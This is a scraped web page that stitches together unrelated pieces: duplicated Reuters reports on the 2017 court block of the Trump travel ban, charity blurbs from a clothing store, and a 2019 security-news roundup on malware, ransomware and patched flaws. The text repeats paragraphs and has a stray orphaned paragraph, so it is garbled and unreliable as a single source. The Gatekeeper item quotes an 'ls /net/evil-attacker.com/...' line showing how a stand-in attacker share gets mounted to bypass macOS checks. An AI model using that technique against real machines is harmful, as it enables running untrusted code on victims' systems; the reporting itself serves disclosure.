A 34-year-old Sudanese engineer, who also did not want to be named, said: "After the court's decision I am now trying to leave as fast as possible before the situation changes once more."
U.S. Customs and Border Protection told airlines they could board travelers affected within hours of Friday's ruling, but budget airline Norwegian, which operates transatlantic flights including from London and Oslo, said many uncertainties remained about the legal position.
"It's still very unclear," spokeswoman Charlotte Holmbergh Jacobsson said. "We advise passengers to contact the U.S. embassy ... We have to follow the U.S. rules."
In Cairo, aviation sources said Egypt Air and other airlines had told their sales offices of Friday's ruling and would allow people previously affected by the ban to book flights.
But for some who had changed their travel plans following the ban, the order was not enough reassurance. ⤴
Josephine Abu Assaleh, who was stopped from entering the United States last week with five members of her family, was hesitant to express any hope in the court ruling as she awaited word from her lawyers.
"I will not say if I have hope or not. I wait, watch, and then I build my hopes. We left the matter with the lawyers. When they tell us the decision has been cancelled, we will decide whether to go back or not," she told Reuters in Damascus, speaking by telephone.
Abu Assaleh, 60, and her family only learnt of Trump's order after landing at Philadelphia International Airport with U.S. visas that were granted in 2016, some 13 years after they initially made their applications.
VISA SUSPENSIONS
Trump's order caused chaos at airports across the United States last week. Virtually all refugees were also barred, upending the lives of thousands of people who had spent years seeking asylum in the U.S.
The State Department said on Friday that almost 60,000 visas were suspended following Trump's order. It was not clear whether that suspension was automatically revoked or what reception travelers with such visas might get at U.S. airports.
The Washington state lawsuit was the first to test the broad constitutionality of Trump's executive order. Judge James Robart, a George W. Bush appointee, explicitly made his ruling apply across the country, while other judges in similar cases have so far issued orders concerning only specific individuals.
The challenge in Seattle was brought by the state of Washington and later joined by the state of Minnesota. The judge ruled that the states have legal standing to sue, which could help Democratic attorneys general take on Trump in court on issues beyond immigration.
Washington's case was based on claims that the state had suffered harm from the travel ban, for example students and faculty at state-funded universities being stranded overseas. Amazon.com and Expedia, both based in Washington state, had supported the lawsuit, asserting that the travel restrictions harmed their businesses.
Tech companies, which rely on talent from around the world, have been increasingly outspoken in their opposition to the Trump administration's anti-immigrant policies.
Judge Robart probed a Justice Department lawyer on what he called the "litany of harms" suffered by Washington state's universities, and also questioned the use of the Sept. 11, 2001, attacks on the United States as a justification for the ban.
Robart said no attacks had been carried out on U.S. soil by individuals from the seven countries affected by the travel ban since that assault. For Trump's order to be constitutional, Robart said, it had to be "based in fact, as opposed to fiction."
The White House said in a statement: "At the earliest possible time, the Department of Justice intends to file an emergency stay of this outrageous order and defend the executive order of the president, which we believe is lawful and appropriate."
It added: "The president's order is intended to protect the homeland and he has the constitutional authority and responsibility to protect the American people."
Washington Governor Jay Inslee celebrated the decision as a victory for the state, adding: "No person - not even the president - is above the law."
(Additional reporting by Alexander Cornwell in Dubai, Tom Perry and Laila Bassam in Beirut, Suleiman al-Khalidi in Amman, Khaled Abdelaziz in Khartoum, Alister Doyle in Oslo, Dan Levine in Seattle, Scott Malone in Boston, Georgina Prodhan in Frankfurt, Laurence Frost in Paris, Asma Alsharif in Cairo, Jesus Aguado in Madrid, Mica Rosenberg in New York, Brian Snyder in Boston and Lawrence Hurley, Lesley Wroughton, Julia Edwards and Susan Heavey in Washington, Tom Arnold and Alexander Cornwell in Dubai; Editing by Mark Trevelyan)
http://www.reuters.com/article/us-usa-trump-immigration-idUSKBN15I1CM
POLITICS | Sat Feb 4, 2017 | 3:47am EST
Seattle judge blocks Trump's travel ban; White House to appeal
By Dan Levine and Scott Malone | SEATTLE/BOSTON
A Seattle federal judge on Friday put a nationwide block on U.S. President Donald Trump's week-old executive order that had temporarily barred refugees and nationals from seven countries from entering the United States.
The judge's temporary restraining order represents a major setback for Trump's action, though the White House said late Friday that it believed the ban to be "lawful and appropriate" and that the U.S. Department of Justice would file an emergency appeal.
Still, just hours after the ruling, U.S. Customs and Border Protection told airlines they could board travelers who had been affected by the ban.
Trump's Jan. 27 order caused chaos at airports across the United States last week as some citizens from Iran, Iraq, Libya, Somalia, Sudan, Syria and Yemen were denied entry. Virtually all refugees were also barred, upending the lives of thousands of people who had spent years seeking asylum in the U.S.
The State Department said Friday that almost 60,000 visas were suspended in the wake of Trump's order; it was not clear Friday night whether that suspension was automatically revoked or what travelers with such visas might confront at U.S. airports.
While a number of lawsuits have been filed over Trump's action, the Washington state lawsuit was the first to test the broad constitutionality of the executive order. Judge James Robart, a George W. Bush appointee, explicitly made his ruling apply across the country, while other judges facing similar cases have so far issued orders concerning only specific individuals.
Judge Robart probed a Justice Department lawyer on what he called the "litany of harms" suffered by Washington state's universities, and also questioned the administration's use of the Sept. 11, 2001, attacks on the United States as a justification for the ban.
Gulf carrier Qatar Airways will allow passengers barred by an executive order last week to board flights to the United States, after Robart's order, a spokeswoman told Reuters.
But for some who had changed their travel plans following the ban, the order was not enough reassurance.
Opponents of U.S. President Donald Trump's executive order travel ban greet international travelers at Logan Airport in Boston, Massachusetts, U.S. February 3, 2017. REUTERS/Brian Snyder
In Dubai, Tariq Laham, 32, and his fiancee Natalia had scrapped plans to travel to the U.S. after their July wedding in Poland, where Natalia is from.
Laham said the couple would not reverse their decision.
"It is just too risky," said Laham, a Syrian who works as a director of commercial operations at a multinational technology company. "Everyday you wake up and there is a new decision."
 ⤴
"OUTRAGEOUS ORDER"
The White House said it would file an appeal as soon as possible.
"At the earliest possible time, the Department of Justice intends to file an emergency stay of this outrageous order and defend the executive order of the president, which we believe is lawful and appropriate," the White House said in a statement.
"The president's order is intended to protect the homeland and he has the constitutional authority and responsibility to protect the American people."
Washington Governor Jay Inslee celebrated the decision as a victory for the state, adding: "No person - not even the president - is above the law."
The judge's decision was welcomed by groups protesting the ban.
"This order demonstrates that federal judges throughout the country are seeing the serious constitutional problems with this order," said Nicholas Espiritu, a staff attorney at the National Immigration Law Center.
Eric Ferrero, Amnesty International USA spokesman, lauded the short-term relief provided by the order but added: "Congress must step in and block this unlawful ban for good."
But the fluid legal situation was illustrated by the fact that Robart's ruling came just hours after a federal judge in Boston declined to extend a temporary restraining order allowing some immigrants into the United States from countries affected by Trump's three-month ban.
A Reuters poll earlier this week indicated that the immigration ban has popular support, with 49 percent of Americans agreeing with the order and 41 percent disagreeing. Some 53 percent of Democrats said they "strongly disagree" with Trump's action while 51 percent of Republicans said they "strongly agree."
At least one company, the ride-hailing giant Uber, was moving quickly Friday night to take advantage of the ruling.
CEO Travis Kalanick, who quit Trump's business advisory council this week in the face of a fierce backlash from Uber customers and the company's many immigrant drivers, said on Twitter: "We have a team of in-house attorneys who've been working night & day to get U.S. resident drivers & stranded families back into country.
"I just chatted with our head of litigation Angela, who's buying a whole bunch of airline tickets ASAP!! #homecoming #fingerscrossed"
FOUR STATES IN COURT
The decision in Washington state came at the end of a day of furious legal activity around the country over the immigration ban. The Trump administration has justified its actions on national security grounds, but opponents have labeled it an unconstitutional order targeting people based on religious beliefs.
In Boston, U.S. District Judge Nathan Gorton expressed skepticism during oral arguments about a civil rights group's claim that Trump's order represented religious discrimination, before declining to extend the restraining order.
U.S. District Judge Leonie Brinkema in Alexandria, Virginia, ordered the federal government to give the state a list by Thursday of "all persons who have been denied entry to or removed from the United States."
The state of Hawaii on Friday also filed a lawsuit alleging that the order is unconstitutional and asking the court to block the order across the country.
He lists several examples of Syrian friends from around the world, whose work and personal life had been thrown into disarray by Trump's orders.
One has been unable to visit family residing in the U.S., while another was unsure whether they would be able to take up a job offer in California after their U.S. visa appointment was canceled in the wake of the ban.
(Additional reporting by Mica Rosenberg in New York, Brian Snyder in Boston and Lawrence Hurley, Lesley Wroughton, Julia Edwards and Susan Heavey in Washington, Tom Arnold and Alexander Cornwell in Dubai; Writing by Jonathan Weber and Kristina Cooke; Editing by Bill Rigby, Nick Macfie and Alexander Smith)
Pictures: Reuters video
ความเห็นของท่านมีคุณค่า ❊ WE VALUE YOUR OPINION


A program honoring Georgie, my fabulous father who was an accomplished scientist, physician, scholar and hilarious. All proceeds from these garments fund a scholarship to benefit the Georgie's Scholars program at St. Lawrence University, Canton NY.
Fights the fight along side people in the cancer battle; providing grocery cards, transportation, paying bills and even child care.
The Loggerhead Marinelife Center promotes the conservation of Florida's coastal ecosystems with a special focus on threatened and endangered sea turtles. All proceeds from the Turtle Tides Tunics sold at the Gretchen Scott Signature Jupiter store are donated to the center.
The Janeda L. Batchelor Foundation for Children is an orphanage in Tanzania, Africa. It is a 65-acre campus on the shores of Lake Victoria, providing a home to 54 abandoned/abused girls. It includes two dormitories, a top-ranked co-ed vocational school attended by 300 local children, a community medical clinic and a farm employing 60 locals.
When you buy the Elizabeth's Hope Blouse for family and friends, all proceeds will go to the Weill Cornell Pediatric Brain Tumor Project to help in the fight against inoperable brain tumors in children and adolescents.


text:
GhNews
where News come first
Exclusive: German Police Raid OmniRAT Developer and Seize Digital Assets
The German police yesterday raided the house of the developer of OmniRAT and seized his laptop, computer and mobile phones probably as part of an investigation into a recent cyber attack, a source told The Hacker News.
OmniRAT made headlines in November 2015 when its developer launched it as a legitimate remote administration tool for IT experts and companies to manage their devices with explicit permissions.
Available between $25 and $100, OmniRAT quickly became one of the most popular remote administration tools, allowing users to monitor Android, Windows, Linux, and Mac devices remotely and access every available information on them.
However, just like any other remote administration tool like DroidJack, DarkComet, AndroRAT, and njRAT, some customers of OmniRAT also used the tool for illicit purposes, especially because it was available at a far cheaper price than other RATs in the market.
In one such event earlier this year, a group of hackers attempted to target several industries by exploiting an old remote code execution vulnerability (CVE-2016-7262) in Microsoft Excel that eventually installed OmniRAT on targeted computers.
According to a security researcher who reported this incident in January, the attackers used a malformed Excel sheet disguising as a business profile of "Kuwait Petroleum Corporation (KPC)" to lure its victims into opening the attachment.
Though Kuwait Petroleum Company was not itself targeted by the malware, another anonymous source told The Hacker News that almost two months ago, lawyers representing the oil company started emailing the domain registrar from where the official domain of OmniRAT was registered and demanded them to disclose the identity of the domain owner, citing whois-related GDPR and ICANN rules.
The content on the official OmniRAT website has been unavailable since last few days, which has probably been taken down by its developer to prevent its domain registrar from disclosing his identity to the company.
The developer of OmniRAT reportedly resides in Germany, but his/her identity is still unknown to the public.
At this moment, it's not clear if the raid by German police is linked to the efforts made by Kuwait Oil Company or involves some separate criminal case against him.
It's also possible that the German police could be behind the list and identity of all the customers who purchased OmniRAT in the last four years to crack down on cybercriminals abusing the tool.
In a similar operation in 2015, law enforcement agencies in several countries raided homes and arrested suspected users of DroidJack smartphone malware.
Though creating malware or hacking tool is illegal in Germany, like many other countries, it also depends upon how the tool has been advertised.
Because just like penetration testing tools, remote administration tools are also a two-sided sword and can be used for both legal and illegal purposes.
In one case, it was reported that two years ago a group of hackers were using OmniRAT to spy on Islamic State (ISIS) members and supporters by distributing its Android version via the popular Telegram messaging app.
A disclaimer, as shared below, posted on the official OmniRAT website also said that the tool is not for hacking and that customers are themselves liable for any misuse.
"OmniRAT is created by German authors, and the servers are also located in Germany. Therefore the German law applies for us. OmniRAT is a remote administration tool (rat). It is not – as many believe – a trojan neither made for hacking; therefore, it is not illegal and does not violate the law. The usage, however, is only licit on devices you own or have permission for. This is also stated inside our terms of service. By purchasing and using OmniRAT, you obey the above."
Although the OmniRAT developer did not seem to have directly encouraged his customers to use the tool for spying on someone, late last year, he posted description and new features of his tool on an infamous hacking forum, a website which is famous among newbies for finding hacking tools in the market.
On the same hacking forum, in April this year, he announced the shutdown of OmniRAT, saying "unfortunately due to the pressure of the government and the cybercrime division OmniRAT has to be shut down. This will take immediate effect."
However, since the working of the tool does not directly rely or share collected device data with the OmniRAT server, users who already have access to the remote administration tool can still continue using it for whatever purpose they want.
The Hacker News is keeping an eye on every possible development in this story and will update our readers as soon as we learn more about it.
Microsoft Adds 2FA-Protected "Personal Vault" Within OneDrive Cloud Storage
Microsoft has introduced a new password-protected folder within its OneDrive online file storage service that will allow you to keep your sensitive and important files protected and secured with an extra layer of authentication.
Dubbed Personal Vault, the new OneDrive folder can only be accessed with an additional step of identity verification, such as your fingerprint, face, PIN, or a two-factor authentication code sent to you via email or SMS.
The Personal Vault folder will appear next to other folders in the OneDrive app like your Documents and Pictures, but it will be locked and prompt you for an additional code each time you try to access them via the web, PC, or mobile devices, thus keeping them more secure in the event when someone gains access to your account or your device.
Microsoft suggests this new protected area in OneDrive would be useful for users to store more sensitive and personal files like copies of passport, tax, car or home documents, identification cards, and financial information, for instance.
To instantly store your files in the Personal Vault folder, all you need to do is scan in your documents directly into your Personal Vault through the OneDrive app. You can even take pictures and shoot videos with OneDrive and send them straight to Personal Vault.
You can store as many files you want in the Personal Vault folder, up to your overall OneDrive storage limit. Microsoft is also increasing OneDrive's base storage plan from 50GB to 100GB at no additional cost.
Personal Vault, by default, includes all protections that OneDrive currently offers, including file encryption "at rest" in Microsoft's cloud and in transit to a device, ransomware protection, mass file deletion and recovery, suspicious activity monitoring, virus scanning on download for known threats, and version history for all file types.
In addition, when the OneDrive app syncs your Personal Vault files to your computer, it directly stores those files to a BitLocker-encrypted area of your local hard drive on your Windows 10 computer, instead of any regular folder.
"For further protection on mobile devices, we recommend that you enable encryption on your iOS or Android device," Microsoft says. "Together, these measures help keep your files protected even if your Windows 10 PC or mobile device is lost, stolen, or someone gains access to it."
What's more? After a period of inactivity (3 minutes on mobile devices and 20 minutes on the web or local hard drive by default), the Personal Vault will automatically relock, and you'll have to reauthenticate to gain access again.
Moreover, if you try to access OneDrive remotely through a web browser on an unfamiliar PC, the browser will not save your files within the Personal Vault in its cache.
Microsoft is making the OneDrive Personal Vault feature available to the web version of its OneDrive, Windows 10 PCs, as well as the iOS and Android mobile apps.
OneDrive Personal Vault is currently only rolling out in Australia, New Zealand, and Canada, though the company will make it available to all markets by the end of the year.
'Legit Apps Turned into Spyware' Targeting Android Users in Middle East
Cybersecurity researchers are warning about an ongoing Android malware campaign that has been active since 2016 and was first publicly reported in August 2018.
Dubbed "ViceLeaker" by researchers at Kaspersky, the campaign has recently been found targeting Israeli citizens and some other middle eastern countries with a powerful surveillance malware designed to steal almost all accessible information, including call recordings, text messages, photos, videos, and location data—all without users' knowledge.
Besides these traditional spying functionalities, the malware also has backdoor capabilities including upload, download, and delete files, record surrounding audio, takeover camera, and make calls or send messages to specific numbers.
The malware used in these campaigns was named "Triout" in a report published by Bitdefender in 2018, which is sort of a malware framework that attackers are using to turn legitimate applications into spyware by injecting an additional malicious payload into them.
In a new report published today, Kaspersky Lab revealed that attackers are actively using the Baksmali tool to disassemble and then reassemble the code of a legitimate app after injecting their malicious code in it—a technique commonly known as Smali injection.
"Based on our detection statistics, the main infection vector is the spread of Trojanized applications directly to victims via Telegram and WhatsApp messengers," the researchers said.
Besides this, researchers also found that the code used in the malware to parse commands from the command-and-control server resembles with modified versions of an open source XMPP/Jabber client for the Android platform called "Conversations."
"In addition, we did not see traces of the Smali injection [in the modified Conversations app]," Kaspersky researchers explained, but "found traces of dx/dexmerge compilers, which means that, this time, the attackers just imported the original source code into an Android IDE (such as Android Studio, for instance) and compiled it with their own modifications."
However, those modified versions of Conversations app do not contain any malicious code but appear to be used by the same group of attackers for some yet-undiscovered purpose.
"This brought to us the hypothesis that this might be the version used by the group behind ViceLeaker for internal communication or for other, unclear purposes. All the detection of this backdoored app were geolocated in Iran," researchers said.
According to the researchers, the ViceLeaker attack campaign is still ongoing, and attackers could potentially distribute malicious repackaged versions of legitimate apps through third-party app stores, instant messengers, or attacker-controlled online webpages.
Since such apps masquerade as legitimate or popular apps, Android users are highly recommended to always download apps from trusted sources, like Google Play Store, to prevent themselves from becoming a victim to this attack.
However, you should also not trust every app available on the Play Store. So, always stick to only verified developers to avoid installing malicious apps.
Account Takeover Vulnerability Found in Popular EA Games Origin Platform
A popular gaming platform used by hundreds of millions of people worldwide has been found vulnerable to multiple security flaws that could have allowed remote hackers to takeover players' accounts and steal sensitive data.
The vulnerabilities in question reside in the "Origin" digital distribution platform developed by Electronic Arts (EA)—the world's second-largest gaming company with over 300 million users—that allows users to purchase and play some of the most popular video games including Battlefield, Apex Legends, Madden NFL, and FIFA.
The Origin platform also manages users EA Games account authentication and allows them to find friends, join games, and manage their profiles.
Discovered by researchers at Check Point and CyberInt, the vulnerabilities when chained together could have allowed attackers to hijack gamer's EA account just by convincing them into opening an official webpage from the EA Games website.
To perform this attack, as shown in the video demonstration, researchers took advantage of a long-known unpatched weakness in Microsoft's Azure cloud service that allowed them to takeover one of the EA subdomains, which was previously registered with Azure to host one of the Origin's services.
As explained in a previous report, if DNS (CNAME) of a domain/subdomain is pointing to Azure cloud platform but has not been configured or linked to an active Azure account, any other Azure user can hijack it to park that subdomain to his/her Azure server.
"During Cyber Int's research, though, [it] found that the ea-invite-reg.azurewebsites.net service was not in-use anymore within Azure cloud services; however, the unique subdomain eaplayinvite.ea.com still redirect to it using the CNAME configuration," CheckPoint researchers said in a report published today.
In their proof-of-concept attack, researchers hijacked "eaplayinvite.ea.com" and hosted a script on it that exploited weaknesses in the EA games' oAuth single sign-on (SSO) and TRUST mechanism.
The webpage eventually allowed the researchers to capture players secret SSO tokens just by convincing them into visiting it in the same web browser where they already have an active session on the EA website and takeover their accounts without requiring actual credentials.
"The TRUST mechanism exists between ea.com and origin.com domains and their subdomains. Successfully abusing the mechanism enabled our research team to manipulate the OAuth protocol implementation for full account takeover exploitation," researchers explained.
In a worst-case scenario, CheckPoint researchers said an attacker could have exploited these flaws to cause potential damage like gaining access to players' credit card information with the ability to fraudulently purchase in-game currency on behalf of the players.
CyberInt and Check Point immediately reported their findings to EA Games and helped the company fix the security loopholes to protect their gaming customers. The security firm went public with its findings today—almost three months after EA addressed the issues.
Two Florida Cities Paid $1.1 Million to Ransomware Hackers This Month
In the last two weeks, Florida has paid more than $1.1 million in bitcoin to cybercriminals to recover encrypted files from two separate ransomware attacks—one against Riviera Beach and the other against Lake City.
Lake City, a city in northern Florida, agreed on Monday to pay hackers 42 Bitcoin (equivalent to $573,300 at the current value) to unlock phone and email systems following a ransomware attack that crippled its computer systems for two weeks.
The ransomware attack, dubbed "Triple Threat" since it combines three different methods of attack to target network systems, infected Lake City systems on June 10 after an employee in city hall opened a malicious email.
Though the IT staff disconnected computers within just 10 minutes of the cyber attack starting, it was too late. The attack locked down the city workers' email accounts and servers.
Since the police and fire departments operate on a different server, they were the only ones not impacted by the attack. While other Lake City networks are currently disabled, Public Safety services remain unaffected by this attack.
The unknown hackers contacted the city's insurer and negotiated ransom payment of 42 bitcoins, currently $573,300. Lake City officials voted on Monday to pay the ransom to regain access to their important files.
The ransom payment would be mostly covered by insurance, although $10,000 would be incurred by taxpayers.
"Our systems are shut down, but there is no evidence to indicate any sensitive data has been compromised. All customer service payment data, such as credit card data, is stored off-site by third-party vendors and would not have been accessed by an attack like this on our network," said City Information Technology Director Brian Hawkins.
Lake City is the second city in Florida recently being hit by a ransomware attack.
Riviera Beach, another city in Florida, became a victim of a ransomware attack on May 29 after a city employee clicked on a malicious link in an email, according to local media reports.
The ransomware attack crippled the city's computer systems for at least three weeks after which the Riviera Beach City Council authorized the city's insurer to pay a ransom of 65 Bitcoin ($897,650 at today's value) to regain access to their locked systems.
Federal authorities and cybersecurity experts have always advised victims not to pay ransoms since it encourages cybercriminals, and also there's no guarantee of your files or computer systems being completely restored.
Instead of paying hackers a ransom, organisations, and companies should have robust backups of their important and required files and data as well as educate their employees to avoid being a victim of any cyber attack.
New Mac Malware Exploits GateKeeper Bypass Bug that Apple Left Unpatched
Cybersecurity researchers from Intego are warning about possible active exploitation of an unpatched security vulnerability in Apple's macOS Gatekeeper security feature details and PoC for which were publicly disclosed late last month.
Intego team last week discovered four samples of new macOS malware on VirusTotal that leverage the GateKeeper bypass vulnerability to execute untrusted code on macOS without displaying users any warning or asking for their explicit permission.
However, the newly discovered malware, dubbed OSX/Linker, has not been seen in the wild as of now and appears to be under development. Though the samples leverage unpatched Gatekeeper bypass flaw, it does not download any malicious app from the attacker's server.
According to Joshua Long from Intego, until last week, the "malware maker was merely conducting some detection testing reconnaissance."
"One of the files was signed with an Apple Developer ID (as explained below), it is evident that the OSX/Linker disk images are the handiwork of the developers of the OSX/Surfbuyer adware," Long said in a blog post.
However, since the malware sample links to a remote server from where it downloads the untrusted app, attackers can also distribute same samples to real targeted by merely replacing the defined sample app with a malware app on their server.
macOS Gatekeeper Bypass Vulnerability
GateKeeper is a security feature built into Apple macOS that enforces code signing and verifies downloaded applications before allowing them to run, helping users protect their systems from malware and other malicious software.
That means, if you download an application from the Internet, GateKeeper will only allow it to execute without any warnings if it has been signed with a valid Apple-issued certificate, otherwise will prompt you to allow or deny the execution.
However, Gatekeeper has been designed to treat both external drives (USB or HDD) and network shares as "safe locations" from where users can run any application without involving GateKeeper's checks and prompts.
Filippo Cavallarin, an independent security researcher, late last month publicly revealed a way to exploit this behavior by combining it with two other legitimate features of macOS operating system, which are:
zip archives can contain symbolic links pointing to an arbitrary location, including automount endpoints, and
automount feature on macOS can automatically mount a network share from a remote server just by accessing it with a "special" path i.e., beginning with "/net/."
"For example, ls /net/evil-attacker.com/sharedfolder/ will make the OS read the content of the 'sharedfolder' on the remote host (evil-attacker.com) using NFS," Cavallarin explained in a blog post.
As shown in the video demonstration, Cavallarin created a ZIP file with a symbolic link to an attacker-controlled network share that macOS will automount.
Once a victim opens the ZIP archive and follows the link, he will navigate to the attacker-controlled network share that's trusted by Gatekeeper, tricking the victim into running malicious executable files without any warning.
"The way Finder is designed (ex hide .app extensions, hide full path from title bar) makes this technique very effective and hard to spot," the researcher says.
However, the newly discovered malware samples are not ZIP files, but disk image files (with .dmg), showing that "malware makers were experimenting to see whether Cavallarin's vulnerability would work with disk images, too."
Cavallarin responsibly reported his findings to Apple on February 22 but decided to go public late last month after the company failed to patch the issue within the 90 days disclosure deadline and started ignoring his emails.
Until Apple patches this issue, researcher advised network administrators to block NFS communications with external IP addresses, and for home users, it is always important to not open email attachments from an unknown, suspicious, or untrustworthy source.
PoC Released for Outlook Flaw that Microsoft Patched 6 Month After Discovery
As we reported two days ago, Microsoft this week released an updated version of its Outlook app for Android that patches a severe remote code execution vulnerability (CVE-2019-1105) that impacted over 100 million users.
However, at that time, very few details of the flaw were available in the advisory, which just revealed that the earlier versions of the email app contained a cross-site scripting (XSS) flaw that could allow attackers to run scripts in the context of the current user just by sending a specially crafted email to the victims.
Now, Bryan Appleby from F5 Networks, one of the security researchers who reported this issue independently to Microsoft, released more details and proof-of-concept for the Outlook vulnerability that he reported to the tech giant almost six months ago.
In a blog post published Friday, Appleby revealed that while exchanging some JavaScript code with his friends over an email, he accidentally discovered a cross-site scripting (XSS) issue that could allow an attacker to embed an iframe into the email.
In other words, the vulnerability resided in the way email server parses HTML entities in the email messages.
Though JavaScript running inside an iframe can only access the content within it, Appleby found that executing JavaScript code inside the injected iframe can allow the attacker to read app-related content in the context of logged-in Outlook user, including their cookies, tokens and even some contents of their email inbox.
The vulnerability, Appleby said, allowed him to "steal data from the app—I could use it to read and extract the HTML."
"This kind of vulnerability could be exploited by an attacker sending an email with JavaScript in it. The server escapes that JavaScript and does not see it because it's within an iframe. When delivered, the mail client automatically undoes the escaping, and the JavaScript runs on the client device. Bingo – remote code execution," Appleby explains.
"This code can do whatever the attacker desires, up to and including stealing information and/or sending data back out. An attacker can send you an email and just by you reading it, they could steal the contents of your inbox. Weaponized, this can turn into a very nasty piece of malware."
Appleby responsibly reported his findings to Microsoft on 10 December 2018, and the company confirmed the vulnerability on 26 March 2019 when he shared a universal PoC with the tech giant.
Microsoft patched the vulnerability and released a fix just 2 days ago—that's almost 6 months after the initial vulnerability disclosure. The company says it is currently not aware of any attacks in the wild related to this issue.
Besides Appleby, security researchers Sander Vanrapenbusch, Tom Wyckhuys, Eliraz Duek from CyberArk and Gaurav Kumar also reported the same issue to Microsoft separately in recent months.
Gaurav Kumar also shared a video with The Hacker News that demonstrates the vulnerability in action, as shown above.
Once again, if your Android device is not yet updated automatically, you are advised to update your Outlook app from Google Play Store manually.
OpenSSH Now Encrypts Secret Keys in Memory Against Side-Channel Attacks
In recent years, several groups of cybersecurity researchers have disclosed dozens of memory side-channel vulnerabilities in modern processors and DRAMs, like Rowhammer, RAMBleed, Spectre, and Meltdown.
Have you ever noticed they all had at least one thing in common?
That's OpenSSH.
As a proof-of-concept, many researchers demonstrated their side-channel attacks against OpenSSH application installed on a targeted computer, where an unprivileged attacker-owned process exploits memory read vulnerabilities to steal secret SSH private keys from the restricted memory regions of the system.
That's possible because OpenSSH has an agent that keeps a copy of your SSH key in the memory so that you don't have to type your passphrase every time you want to connect to the same remote server.
However, modern operating systems by default store sensitive data, including encryption keys and passwords, in the kernel memory which can not be accessed by user-level privileged processes.
But since these SSH keys live on the RAM or CPU memory in plaintext format, the feature is susceptible to hacking attempts when the attacks involve memory read vulnerabilities.
OpenSSH Now Stores Only Encrypted Keys in the Memory
Here's good news — it's not the case anymore.
The latest update from the OpenSSH developers resolves this issue by introducing a new security feature that encrypts private keys before storing them into the system memory, protecting it against almost all types of side-channel attacks.
According to OpenSSH developer Damien Miller, a new patch to OpenSSH now "encrypts private keys when they are not in use with a symmetric key that is derived from a relatively large "prekey" consisting of random data (currently 16KB)."
"Attackers must recover the entire prekey with high accuracy before they can attempt to decrypt the shielded private key, but the current generation of attacks have bit error rates that, when applied cumulatively to the entire prekey, make this unlikely," Miller explains.
"Implementation-wise, keys are encrypted 'shielded' when loaded and then automatically and transparently unshielded when used for signatures or when being saved/serialized."
It should be noted that this patch just mitigates the threat and is not a permanent solution. Miller says OpenSSH will remove this protection against side-channel attacks in a few years when computer architecture becomes less unsafe.
Security Flaw in Pre-Installed Dell Support Software Affects Million of Computers
Dell's SupportAssist utility that comes pre-installed on millions of Dell laptops and PCs contains a security vulnerability that could allow malicious software or rogue logged-in users to escalate their privileges to administrator-level and access sensitive information.
Discovered by security researchers at SafeBreach Labs, the vulnerability, identified as CVE-2019-12280, is a privilege-escalation issue and affects Dell's SupportAssist application for business PCs (version 2.0) and home PCs (version 3.2.1 and all prior versions).
Dell SupportAssist, formerly known as Dell System Detect, checks the health of your system's hardware and software, alerting customers to take appropriate action to resolve them. To do so, it runs on your computer with SYSTEM-level permissions.
With this high-level privileges, the utility interacts with the Dell Support website and automatically detects Service Tag or Express Service Code of your Dell product, scans the existing device drivers and installs missing or available driver updates, along with performing hardware diagnostic tests.
However, researchers at SafeBreach Labs discovered that the software insecurely loads .dll files from user-controlled folders when run, leaving a spot for malware and rogue logged-in users to corrupt existing DLLs or replace them with malicious ones.
Therefore, when SupportAssist loads those tainted DLLs, malicious code gets injected into the program and executed within the context of an administrator, thus easily allowing the attacker to gain complete control of a targeted system.
"According to Dell's website, SupportAssist is pre-installed on most of Dell devices running Windows. This means that as long as the software is not patched, the vulnerability affects millions of Dell PC users," the researchers say.
What's worrisome? Researchers believe that Dell is not the only company whose PCs are impacted by this particular security issue.
Since Dell SupportAssist is written and maintained by Nevada-based diagnostics and customer support firm PC-Doctor, other PC makers that bundle the same diagnostic and troubleshooting tools into their own computers with different names may also be vulnerable.
"After SafeBreach Labs sent the details to Dell, we discovered that this vulnerability affects additional OEMs which use a rebranded version of the PC-Doctor Toolbox for Windows software components," the researchers say.
Also, according to the PC-Doctor website, PC makers have "pre-installed over 100 million copies of PC-Doctor for Windows on computer systems worldwide," which means the flaw also affects other OEMs that rely on PC-Doctor for specialized troubleshooting tools.
Since Dell's SupportAssist software use a signed driver by PC-Doctor to access low-level memory and hardware, researchers demonstrated this vulnerability to read the content of an arbitrary physical memory address as a proof-of-concept.
SafeBreach Labs reported the vulnerability to Dell on 29th April 2019, and the company then reported the issue to PC Doctor and released fixes provided by PC-Doctor on 28th May for affected SupportAssist versions.
Dell Business and home PC users are recommended to update their software to Dell SupportAssist for Business PCs version 2.0.1 and Dell SupportAssist for Home PCs version 3.2.2 respectively.
It's not the first time when Dell SupportAssist has been found affected by a severe security vulnerability.
In April this year, Dell also addressed a critical remote code execution vulnerability in the utility that would have allowed remote attackers to download and install malware from a remote server on affected Dell computers and take full control over them.
Firefox 67.0.4 Released — Mozilla Patches Second 0-Day Flaw This Week
Okay, folks, it's time to update your Firefox web browser once again—yes, for the second time this week.
After patching a critical actively-exploited vulnerability in Firefox 67.0.3 earlier this week, Mozilla is now warning millions of its users about a second zero-day vulnerability that attackers have been found exploiting in the wild.
The newly patched issue (CVE-2019-11708) is a "sandbox escape" vulnerability, which if chained together with the previously patched "type confusion" bug (CVE-2019-11707), allows a remote attacker to execute arbitrary code on victims' computers just by convincing them into visiting a malicious website.
Browser sandboxing is a security mechanism that keeps third-party processes isolated and confined to the browser, preventing them from damaging other sensitive parts of a computer's operating system.
"Insufficient vetting of parameters passed with the Prompt:Open IPC message between child and parent processes can result in the non-sandboxed parent process opening web content chosen by a compromised child process," the advisory explains.
Firefox 0-Days Found Exploited in the Wild
Mozilla has already been aware of the first issue since April when a Google Project Zero researcher reported it to the company, but it learned about the second issue and attacks in the wild just last week when attackers started exploiting both the flaws together to target employees from Coinbase platform and users of other cryptocurrency firms.
Just yesterday, macOS security expert Patrick Wardle also published a report revealing that a separate campaign against cryptocurrency users is also using same Firefox 0-days to install a macOS malware on targeted computers.
At this moment it's not clear if attackers independently discovered the first vulnerability just in time when it was already reported to Mozilla or gained classified bug-report information through another way.
Install Firefox Patches to Prevent Cyber Attacks
Anyway, the company has now released Firefox version 67.0.4 and Firefox ESR 60.7.2 that address both the issues, preventing attackers from remotely taking control over your systems.
Though Firefox installs latest available updates automatically, users are still advised to ensure they are running Firefox 67.0.4 or later.
Besides this, just like the patch for the previous issue, it is also expected that the Tor Project will once again release a new version of its privacy browser very soon to patch the second bug as well.
Important Update (21/06/2019) ➤ The Tor Project on Friday also released second update (Tor Browser 8.5.3) for its privacy web-browser this week that patches the second vulnerability Firefox patched yesterday.
New Attack Lets Android Apps Capture Loudspeaker Data Without Any Permission
Breach at Bulgaria's Tax Agency Exposed Data of Over 70% Citizens
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